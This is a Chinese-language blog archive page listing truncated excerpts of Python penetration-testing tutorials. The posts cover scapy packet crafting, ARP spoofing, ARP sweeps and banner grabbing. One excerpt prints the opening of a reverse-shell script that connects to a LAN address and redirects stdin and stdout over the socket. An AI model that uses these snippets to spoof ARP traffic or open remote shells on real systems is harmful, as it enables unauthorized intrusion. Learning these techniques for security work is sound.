python
暮秋初九
专注于web漏洞挖掘、内网渗透、免杀和代码审计,感谢各位师傅的关注!网安之路漫长,与君共勉!vx公众号:不懂安全的果冻
展开
-
python———scapy库(数据包发送)
Scapy的是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作,比如端口扫描,tracerouting,探测,单元测试,攻击或网络发现(可替代hping,NMAP,arpspoof,ARP-SK,arping,tcpdump,tethereal,P0F等)。最重要的他还有很多更优秀的...原创 2019-05-25 17:56:22 · 6621 阅读 · 0 评论 -
python发送arp包
import osfrom scapy.all import *import sysfrom threading import Threadfrom optparse import OptionParser def sweep(ip) try: pakt=Ether(dst="ff:ff:ff:ff:ff:ff",src="00:0c:29:b6:71:0c")/ip(...原创 2019-07-19 16:56:29 · 2268 阅读 · 0 评论 -
python构造ARP欺骗数据包
在讲ARP欺骗之前先讲讲什么是ARP以及ARP欺骗的原理吧。一、 什么是ARP?arp英文全称: address resolution protocol 中文:地址解析协议它的作用:是根据IP地址获取获取物理地址的一个TCP/IP协议。 主机发送 信息的时候将一个包涵目标主机的IP地址的ARP请求通过广播到网络上所有的主机,并且接受返回信息,以此来确定目标的物理地址。收到返回消息后讲...原创 2019-07-12 11:54:11 · 2101 阅读 · 0 评论 -
python利用scapy模块发送arp包
**一、基础知识****二、发送ARP包**root@kali:~# scapyWARNING: No route found for IPv6 destination :: (no default route?)Welcome to Scapy (2.3.2)>>> a=ARP()>>> a.show()###[ ARP ]###...原创 2019-07-12 10:14:17 · 3756 阅读 · 0 评论 -
python脚本获取banner信息
import socket def getbanner(IP,port): socket.setdefaulttimeout(2) s=socket.socket() try: s.connect((IP,port)) banner=s.recv(1024) s.close() return banner except: print IP + "is not ...原创 2019-07-07 10:54:17 · 829 阅读 · 0 评论 -
python---获取banner信息之optparse
一、基础知识我们举个例子来说明一下,在Linux下我们使用命令的时候可能会需要参数,有些命令不仅需要参数而且还需要指定一些类型、名字等等,比如:root@kali:~# find /etc -name "*.config"/etc/menu-methods/menu.config/etc/manpath.config/etc/vmware-caf/pme/config/_previou...原创 2019-07-11 18:32:11 · 318 阅读 · 0 评论 -
python脚本————获取banner信息
**一、获取banner信息**我们首先用nv连接端口,返回banner信息:root@kali:~# nc 192.168.1.109 21220 (vsFTPd 2.3.4)使用脚本获取信息:#!/usr/bin/python#coding=utf-8import socketsocket.setdefaulttimeout(2)s=socket.socket()s...原创 2019-07-06 18:01:20 · 1631 阅读 · 0 评论 -
python脚本大集合
自定义命令:import socket import sysimport osfrom threading import Threadfrom optparse import OptionParser def getbanner(IP,port): socket.setdefaulttimeout(2) s=socket.socket() try: s.connec...原创 2019-07-14 12:24:03 · 793 阅读 · 0 评论 -
使用python反弹shell
先上脚本:#!/usr/bin/python#coding=utf-8import os,subprocess,socket s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.1.107",19))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)...原创 2019-07-10 10:06:25 · 2032 阅读 · 0 评论 -
python---抓取banner信息升级版--使用多线程
既然是多线程,我们肯定是扫描多个ip,首先我们创建多个ip文件:>>> f=open("/root/4.txt","w")>>> for i in range(1,255):... IP="192.168.1." +str(i)... f.write(IP + "\n")... >>> f.close()>&...原创 2019-07-09 20:56:30 · 321 阅读 · 0 评论 -
python---抓取banner信息升级版--使用os、sys模板
一、os模板#!/usr/bin/python#coding=utf-8import socket import sysimport osif len(sys.argv)!=2: print "请正确使用文件:" + sys.argv[0] print "例如:" +"./test.py IP.txt" sys.exit() def getbanner(IP,port)...原创 2019-07-09 18:33:53 · 249 阅读 · 0 评论 -
python---抓取banner信息升级版使用文件打开方式
有了基础知识之后我们上代码:在这里插入代码片原创 2019-07-09 07:56:39 · 390 阅读 · 0 评论 -
python脚本subprocess调用arping
Linux下的指定发送次数命令:[root@Blackghost ~] arping -c 4 192.168.1.11import timeimport subprocessimport sysfrom threading import Thread def arp(ip): try: subprocess.check_output("arping -c 1" + str...原创 2019-07-19 17:32:11 · 259 阅读 · 0 评论